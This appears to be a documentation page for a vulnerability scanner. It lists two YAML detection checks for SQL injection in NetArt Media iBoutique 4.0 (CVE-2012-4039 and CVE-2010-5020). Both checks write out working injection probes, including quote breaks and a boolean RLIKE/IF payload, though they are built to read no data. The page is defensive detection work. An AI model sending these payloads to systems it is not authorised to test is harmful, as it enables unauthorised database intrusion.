iBoutique — 2 vulnerability checks
noctis ships 2 vulnerability checks for iBoutique, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
NetArt Media iBoutique index.php key SQL Injection
| CVE | CVE-2012-4039 |
|---|---|
| Severity | high |
| Category | sqli — SQL injection |
| Services | http, https |
| Detection | script, set_var, http_request, match · highest QoD 97 |
| Feed | tests/vulnerabilities/iboutique/CVE-2012-4039.yaml |
NetArt Media iBoutique 4.0 passes the `key` parameter of the product search (index.php?mod=products) unescaped into a SQL query, allowing unauthenticated SQL injection.
The check first requires the iBoutique home page (the "Why iBoutique?" heading) in /iboutique or at the web root. It then sends a single quote and confirms the page prints a MySQL error while the same request with a doubled quote does not. It proves the injection with three boolean requests whose outcome depends on the database computing the sum of two random numbers: a wrong sum must raise a database error, the right sum must not. Nothing is written and no data is read from the database.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{ibdir}}/index.php - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{ibdir}}/index.php?mod=products&key=K%27 - HTTP(S) request
GET {{ibdir}}/index.php?mod=products&key=K%27%27 - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{ibdir}}/index.php?mod=products&key=K%27%20AND%201%20RLIKE%20IF({{sc.a}}%2B{{sc.b}}%… - HTTP(S) request
GET {{ibdir}}/index.php?mod=products&key=K%27%20AND%201%20RLIKE%20IF({{sc.a}}%2B{{sc.b}}%… - HTTP(S) request
GET {{ibdir}}/index.php?mod=products&key=K%27%20AND%201%20RLIKE%20IF({{sc.a}}%2B{{sc.b}}%… - Parses / computes the next value with a Rhai script
- Checks
bp.foundfor^BOOL$→ finding QoD 97: Boolean SQLi confirmed on …/index.php?mod=products: key=K' AND 1 RLIKE IF(…+…=S,1,0x28) AND 'x'='x raised a database error for S=… and S=… … - Checks
qm.foundfor^QUOTE$→ finding QoD 75: SQL injection: key=K' on …/index.php?mod=products made the page print a MySQL syntax error, while the control key=K'' (valid SQL) did not (…
References:
- https://nvd.nist.gov/vuln/detail/CVE-2012-4039
- http://www.securityfocus.com/bid/54616
- http://secpod.org/advisories/SecPod_NetArt_Media_iBoutique_SQLi_Vuln.txt
- http://antusanadi.wordpress.com/2012/07/19/netart-media-iboutique-sql-injection-vulnerability/
Feed source — tests/vulnerabilities/iboutique/CVE-2012-4039.yaml
# NetArt Media iBoutique 4.0 — index.php?mod=products `key` SQL injection (CVE-2012-4039)
#
# index.php?mod=products&key=<value> puts `key` unescaped into the SQL query of the
# product search (advisory: antusanadi.wordpress.com 2012/07/19, SecPod advisory), and
# the page prints the MySQL error ("You have an error in your SQL syntax; ...").
#
# CVE mapping: the issue and the source plugin name CVE-2012-4039; the NVD mirror has no
# record for that ID, so no `cvss:` is set (nothing to align on).
#
# Source plugin 2012/gb_netart_media_iboutique_sql_injection_vuln.nasl: gate on the
# ">Why iBoutique?</" marker of /index.php (dirs /iboutique and /), then `key=%27` and
# grep "You have an error in your SQL syntax;". This feed keeps that check and goes further:
# 1. QoD 97 — boolean proof computed by the database: `key=K' AND 1 RLIKE
# IF(A+B=S,1,0x28) AND 'x'='x` three times (S wrong, right, wrong; random A/B).
# A wrong sum makes RLIKE compile the invalid regex "(" and the query fails; the
# right sum is valid SQL. Error / no error / error proves the database evaluated
# our arithmetic (constant-folded: independent of the rows in the table).
# 2. QoD 75 — the NASL's quote check, plus a control `key=K''` (doubled quote =
# valid SQL) that must NOT error, so a page that always prints a SQL error
# stays clean. Also matches "from regexp" wording.
# Read-only: no row is written and no data is extracted.
#
# Source: OpenVAS/Greenbone NASL 2012/gb_netart_media_iboutique_sql_injection_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.802442, GPL-2.0-only)
uid: 8ba17e64-25c7-48d8-a199-038f6416c313
name: "NetArt Media iBoutique index.php key SQL Injection (CVE-2012-4039)"
description: |
NetArt Media iBoutique 4.0 passes the `key` parameter of the product search
(index.php?mod=products) unescaped into a SQL query, allowing unauthenticated
SQL injection.
The check first requires the iBoutique home page (the "Why iBoutique?" heading) in
/iboutique or at the web root. It then sends a single quote and confirms the page
prints a MySQL error while the same request with a doubled quote does not. It
proves the injection with three boolean requests whose outcome depends on the
database computing the sum of two random numbers: a wrong sum must raise a database
error, the right sum must not. Nothing is written and no data is read from the
database.
cves: [CVE-2012-4039]
severity: high
confidence_base: 0.30
category: sqli
tags: [iboutique, netartmedia, sqli, error-based, boolean-based]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2012-4039"
- "http://www.securityfocus.com/bid/54616"
- "http://secpod.org/advisories/SecPod_NetArt_Media_iBoutique_SQLi_Vuln.txt"
- "http://antusanadi.wordpress.com/2012/07/19/netart-media-iboutique-sql-injection-vulnerability/"
steps:
- id: gen-operands
action: script
code: |
let a = rand_int(100000, 999999);
let b = rand_int(100000, 999999);
#{ a: a, b: b, sum: a + b, bad1: a + b + rand_int(1, 9), bad2: a + b - rand_int(1, 9) }
store_as: sc
# Pre-initialise every stored result a script reads: a failed request leaves
# store_as unset and an undefined var would abort the whole test.
- id: init-home-resp
action: set_var
var_name: home_resp
var_value: {status: 0, body: null}
loop:
over: ["/iboutique", ""]
var: ibdir
- id: init-qm-resp
action: set_var
var_name: qm_resp
var_value: {status: 0, body: null}
- id: init-ctl-resp
action: set_var
var_name: ctl_resp
var_value: {status: 0, body: null}
- id: init-f1-resp
action: set_var
var_name: f1_resp
var_value: {status: 0, body: null}
- id: init-t-resp
action: set_var
var_name: t_resp
var_value: {status: 0, body: null}
- id: init-f2-resp
action: set_var
var_name: f2_resp
var_value: {status: 0, body: null}
# ── Gate: this is an iBoutique front page ─────────────────────────────────
- id: home
action: http_request
method: GET
port: "{{port}}"
path: "{{ibdir}}/index.php"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
store_as: home_resp
- id: check-home
action: script
code: |
let body = if type_of(home_resp.body) == "string" { home_resp.body } else { "" };
#{ ok: home_resp.status == 200 && body.contains(">Why iBoutique?</") }
store_as: hm
# ── Stage 1: quote breaks the query, doubled quote does not ───────────────
- id: qm-probe
action: http_request
method: GET
port: "{{port}}"
path: "{{ibdir}}/index.php?mod=products&key=K%27"
condition: "hm.ok"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
store_as: qm_resp
- id: ctl-probe
action: http_request
method: GET
port: "{{port}}"
path: "{{ibdir}}/index.php?mod=products&key=K%27%27"
condition: "hm.ok"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
store_as: ctl_resp
- id: check-qm
action: script
code: |
let re = "You have an error in your SQL syntax|from regexp|Regex error";
let body = if type_of(qm_resp.body) == "string" { qm_resp.body } else { "" };
let cbody = if type_of(ctl_resp.body) == "string" { ctl_resp.body } else { "" };
let hit = hm.ok && ereg(re, body) && ctl_resp.status != 0 && !ereg(re, cbody);
#{ hit: hit, found: if hit { "QUOTE" } else { "" } }
store_as: qm
# ── Stage 2: boolean proof — the database must compute A+B ────────────────
- id: bool-false-1
action: http_request
method: GET
port: "{{port}}"
path: "{{ibdir}}/index.php?mod=products&key=K%27%20AND%201%20RLIKE%20IF({{sc.a}}%2B{{sc.b}}%3D{{sc.bad1}},1,0x28)%20AND%20%27x%27%3D%27x"
condition: "qm.hit"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
store_as: f1_resp
- id: bool-true
action: http_request
method: GET
port: "{{port}}"
path: "{{ibdir}}/index.php?mod=products&key=K%27%20AND%201%20RLIKE%20IF({{sc.a}}%2B{{sc.b}}%3D{{sc.sum}},1,0x28)%20AND%20%27x%27%3D%27x"
condition: "qm.hit"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
store_as: t_resp
- id: bool-false-2
action: http_request
method: GET
port: "{{port}}"
path: "{{ibdir}}/index.php?mod=products&key=K%27%20AND%201%20RLIKE%20IF({{sc.a}}%2B{{sc.b}}%3D{{sc.bad2}},1,0x28)%20AND%20%27x%27%3D%27x"
condition: "qm.hit"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
store_as: f2_resp
- id: check-bool
action: script
code: |
let re = "You have an error in your SQL syntax|from regexp|Regex error";
let b1 = if type_of(f1_resp.body) == "string" { f1_resp.body } else { "" };
let bt = if type_of(t_resp.body) == "string" { t_resp.body } else { "" };
let b2 = if type_of(f2_resp.body) == "string" { f2_resp.body } else { "" };
let ok = qm.hit && t_resp.status != 0 && ereg(re, b1) && !ereg(re, bt) && ereg(re, b2);
#{ ok: ok, found: if ok { "BOOL" } else { "" } }
store_as: bp
- id: report-bool
action: match
source: bp.found
pattern: "^BOOL$"
condition: "bp.ok"
on_match:
finding:
confidence_delta: 0.65
qod: 97
evidence: "Boolean SQLi confirmed on {{ibdir}}/index.php?mod=products: key=K' AND 1 RLIKE IF({{sc.a}}+{{sc.b}}=S,1,0x28) AND 'x'='x raised a database error for S={{sc.bad1}} and S={{sc.bad2}} but not for the correct sum S={{sc.sum}} (HTTP {{f1_resp.status}} / {{t_resp.status}} / {{f2_resp.status}})"
stop: true
- id: report-qm
action: match
source: qm.found
pattern: "^QUOTE$"
condition: "qm.hit"
on_match:
finding:
confidence_delta: 0.50
qod: 75
evidence: "SQL injection: key=K' on {{ibdir}}/index.php?mod=products made the page print a MySQL syntax error, while the control key=K'' (valid SQL) did not (HTTP {{qm_resp.status}} / {{ctl_resp.status}})"
stop: trueNetArt Media iBoutique index.php page SQL Injection
| CVE | CVE-2010-5020 |
|---|---|
| Severity | high |
| Category | sqli — SQL injection |
| Services | http, https |
| Detection | script, set_var, http_request, match · highest QoD 97 |
| Feed | tests/vulnerabilities/iboutique/CVE-2010-5020.yaml |
NetArt Media iBoutique 4.0 passes the `page` parameter of index.php unescaped into a SQL query, allowing unauthenticated SQL injection.
The check first requires the iBoutique home page (the "Why iBoutique?" heading) in /iboutique or at the web root. It then sends a single quote and confirms the page prints a MySQL error while the same request with a doubled quote does not. It proves the injection with three boolean requests whose outcome depends on the database computing the sum of two random numbers: a wrong sum must raise a database error, the right sum must not. Nothing is written and no data is read from the database.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{ibdir}}/index.php - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{ibdir}}/index.php?page=K%27 - HTTP(S) request
GET {{ibdir}}/index.php?page=K%27%27 - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{ibdir}}/index.php?page=K%27%20AND%201%20RLIKE%20IF({{sc.a}}%2B{{sc.b}}%3D{{sc.bad1}… - HTTP(S) request
GET {{ibdir}}/index.php?page=K%27%20AND%201%20RLIKE%20IF({{sc.a}}%2B{{sc.b}}%3D{{sc.sum}}… - HTTP(S) request
GET {{ibdir}}/index.php?page=K%27%20AND%201%20RLIKE%20IF({{sc.a}}%2B{{sc.b}}%3D{{sc.bad2}… - Parses / computes the next value with a Rhai script
- Checks
bp.foundfor^BOOL$→ finding QoD 97: Boolean SQLi confirmed on …/index.php?page: page=K' AND 1 RLIKE IF(…+…=S,1,0x28) AND 'x'='x raised a database error for S=… and S=… but not… - Checks
qm.foundfor^QUOTE$→ finding QoD 75: SQL injection: page=K' on …/index.php?page made the page print a MySQL syntax error, while the control page=K'' (valid SQL) did not (HTTP ……
References:
Feed source — tests/vulnerabilities/iboutique/CVE-2010-5020.yaml
# NetArt Media iBoutique 4.0 — index.php `page` SQL injection (CVE-2010-5020)
#
# index.php?page=<value> puts `page` unescaped into a SQL query and the page prints the
# MySQL error ("You have an error in your SQL syntax; ..."). NVD: "SQL injection
# vulnerability in index.php in NetArt Media iBoutique 4.0 ... via the page parameter".
# NVD has only a CVSS v2 score (7.5) for this record, so no `cvss:` is set.
#
# Same product as CVE-2012-4039 (`key` of the product search, iboutique/CVE-2012-4039.yaml);
# the two are different parameters/records and are kept as separate feeds.
#
# Source plugin 2011/gb_netart_media_iboutique_mult_sql_inj_n_xss_vuln.nasl: gate on the
# ">Why iBoutique?</" marker of /index.php (dirs /iboutique and /), then `page=%27` and
# grep "You have an error in your SQL syntax;". This feed keeps that check and goes further
# (the plugin accepts any page that merely prints that text):
# 1. QoD 97 — boolean proof computed by the database: `page=K' AND 1 RLIKE
# IF(A+B=S,1,0x28) AND 'x'='x` three times (S wrong, right, wrong; random A/B).
# A wrong sum makes RLIKE compile the invalid regex "(" and the query fails; the
# right sum is valid SQL. Error / no error / error proves the database evaluated
# our arithmetic (constant-folded: independent of the rows in the table).
# 2. QoD 75 — the quote check plus a control `page=K''` (doubled quote = valid SQL)
# that must NOT error, so a page that always prints a SQL error stays clean.
# Read-only: no row is written and no data is extracted.
#
# Source: OpenVAS/Greenbone NASL 2011/gb_netart_media_iboutique_mult_sql_inj_n_xss_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.802404, GPL-2.0-only)
uid: ea108bdd-7eaf-40ad-a242-8387a97be25a
name: "NetArt Media iBoutique index.php page SQL Injection (CVE-2010-5020)"
description: |
NetArt Media iBoutique 4.0 passes the `page` parameter of index.php unescaped into
a SQL query, allowing unauthenticated SQL injection.
The check first requires the iBoutique home page (the "Why iBoutique?" heading) in
/iboutique or at the web root. It then sends a single quote and confirms the page
prints a MySQL error while the same request with a doubled quote does not. It
proves the injection with three boolean requests whose outcome depends on the
database computing the sum of two random numbers: a wrong sum must raise a database
error, the right sum must not. Nothing is written and no data is read from the
database.
cves: [CVE-2010-5020]
severity: high
confidence_base: 0.30
category: sqli
tags: [iboutique, netartmedia, sqli, error-based, boolean-based]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2010-5020"
steps:
- id: gen-operands
action: script
code: |
let a = rand_int(100000, 999999);
let b = rand_int(100000, 999999);
#{ a: a, b: b, sum: a + b, bad1: a + b + rand_int(1, 9), bad2: a + b - rand_int(1, 9) }
store_as: sc
# Pre-initialise every stored result a script reads: a failed request leaves
# store_as unset and an undefined var would abort the whole test.
- id: init-home-resp
action: set_var
var_name: home_resp
var_value: {status: 0, body: null}
loop:
over: ["/iboutique", ""]
var: ibdir
- id: init-qm-resp
action: set_var
var_name: qm_resp
var_value: {status: 0, body: null}
- id: init-ctl-resp
action: set_var
var_name: ctl_resp
var_value: {status: 0, body: null}
- id: init-f1-resp
action: set_var
var_name: f1_resp
var_value: {status: 0, body: null}
- id: init-t-resp
action: set_var
var_name: t_resp
var_value: {status: 0, body: null}
- id: init-f2-resp
action: set_var
var_name: f2_resp
var_value: {status: 0, body: null}
# ── Gate: this is an iBoutique front page ─────────────────────────────────
- id: home
action: http_request
method: GET
port: "{{port}}"
path: "{{ibdir}}/index.php"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
store_as: home_resp
- id: check-home
action: script
code: |
let body = if type_of(home_resp.body) == "string" { home_resp.body } else { "" };
#{ ok: home_resp.status == 200 && body.contains(">Why iBoutique?</") }
store_as: hm
# ── Stage 1: quote breaks the query, doubled quote does not ───────────────
- id: qm-probe
action: http_request
method: GET
port: "{{port}}"
path: "{{ibdir}}/index.php?page=K%27"
condition: "hm.ok"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
store_as: qm_resp
- id: ctl-probe
action: http_request
method: GET
port: "{{port}}"
path: "{{ibdir}}/index.php?page=K%27%27"
condition: "hm.ok"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
store_as: ctl_resp
- id: check-qm
action: script
code: |
let re = "You have an error in your SQL syntax|from regexp|Regex error";
let body = if type_of(qm_resp.body) == "string" { qm_resp.body } else { "" };
let cbody = if type_of(ctl_resp.body) == "string" { ctl_resp.body } else { "" };
let hit = hm.ok && ereg(re, body) && ctl_resp.status != 0 && !ereg(re, cbody);
#{ hit: hit, found: if hit { "QUOTE" } else { "" } }
store_as: qm
# ── Stage 2: boolean proof — the database must compute A+B ────────────────
- id: bool-false-1
action: http_request
method: GET
port: "{{port}}"
path: "{{ibdir}}/index.php?page=K%27%20AND%201%20RLIKE%20IF({{sc.a}}%2B{{sc.b}}%3D{{sc.bad1}},1,0x28)%20AND%20%27x%27%3D%27x"
condition: "qm.hit"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
store_as: f1_resp
- id: bool-true
action: http_request
method: GET
port: "{{port}}"
path: "{{ibdir}}/index.php?page=K%27%20AND%201%20RLIKE%20IF({{sc.a}}%2B{{sc.b}}%3D{{sc.sum}},1,0x28)%20AND%20%27x%27%3D%27x"
condition: "qm.hit"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
store_as: t_resp
- id: bool-false-2
action: http_request
method: GET
port: "{{port}}"
path: "{{ibdir}}/index.php?page=K%27%20AND%201%20RLIKE%20IF({{sc.a}}%2B{{sc.b}}%3D{{sc.bad2}},1,0x28)%20AND%20%27x%27%3D%27x"
condition: "qm.hit"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
store_as: f2_resp
- id: check-bool
action: script
code: |
let re = "You have an error in your SQL syntax|from regexp|Regex error";
let b1 = if type_of(f1_resp.body) == "string" { f1_resp.body } else { "" };
let bt = if type_of(t_resp.body) == "string" { t_resp.body } else { "" };
let b2 = if type_of(f2_resp.body) == "string" { f2_resp.body } else { "" };
let ok = qm.hit && t_resp.status != 0 && ereg(re, b1) && !ereg(re, bt) && ereg(re, b2);
#{ ok: ok, found: if ok { "BOOL" } else { "" } }
store_as: bp
- id: report-bool
action: match
source: bp.found
pattern: "^BOOL$"
condition: "bp.ok"
on_match:
finding:
confidence_delta: 0.65
qod: 97
evidence: "Boolean SQLi confirmed on {{ibdir}}/index.php?page: page=K' AND 1 RLIKE IF({{sc.a}}+{{sc.b}}=S,1,0x28) AND 'x'='x raised a database error for S={{sc.bad1}} and S={{sc.bad2}} but not for the correct sum S={{sc.sum}} (HTTP {{f1_resp.status}} / {{t_resp.status}} / {{f2_resp.status}})"
stop: true
- id: report-qm
action: match
source: qm.found
pattern: "^QUOTE$"
condition: "qm.hit"
on_match:
finding:
confidence_delta: 0.50
qod: 75
evidence: "SQL injection: page=K' on {{ibdir}}/index.php?page made the page print a MySQL syntax error, while the control page=K'' (valid SQL) did not (HTTP {{qm_resp.status}} / {{ctl_resp.status}})"
stop: true